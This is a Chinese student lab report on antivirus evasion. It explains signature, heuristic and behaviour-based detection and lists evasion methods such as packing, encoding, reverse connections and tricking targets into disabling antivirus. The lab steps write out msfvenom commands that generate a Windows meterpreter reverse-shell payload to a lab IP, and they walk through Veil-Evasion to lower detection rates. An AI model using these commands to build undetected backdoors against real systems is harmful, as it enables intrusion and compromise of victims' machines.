Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。
②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。
③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。
(2)免杀是做什么?
免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。
(3)免杀的基本方法有哪些?
1、改变特征码:
如果是类似exe的可执行文件可以加壳,例如压缩壳
如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件
如果是源代码可以用其他语言进行重写再编译(veil-evasion)
2、改变行为:
通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3、非常规方法:
①使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
②使用社工类攻击,诱骗目标关闭AV软件。
③纯手工打造一个恶意软件。
二、实验步骤
使用Msfvenom编码器
使用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 PORT=4311 -f exe > wangzhuoran01.exe 生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:
可以发现检测率有46%,说明裸后门文件被发现的可能性还是挺高的。于是我们试试多次编码后会不会降低被检测率。
使用Veil-Evasion
veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。
安装完成后自动进入 veil (下次想调用,输入 veil 即可)。
list 指令可以查看可使用的工具,选择 evasion (或者直接输入 use evasion )
同上 list 可查看可使用的 payload
使用 use 指令选择一个工具,这里我选择了 8 号,然后设置一下 LHOST和 LPORT ,输入generate 生成 exe 文件,命名一下就顺利生成文件。(我最开始选择的是 python ,然而要么是生成出错,要么是最后无法生成exe文件,可能是我安装过程有些问题,最后也只能放弃尝试使用 c 了,好在一次就成功生成)。
生成完成后去那个目录把文件复制到wIndows上检测。
检测率下降了挺多,只有15%了,然而还是会被 360 扫出来。
C语言调用Shellcode
输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 LPORT=4311 -f c 生成一个c语言格式的Shellcode数组
原文地址:https://www.cnblogs.com/20154311wzr/p/8724040.html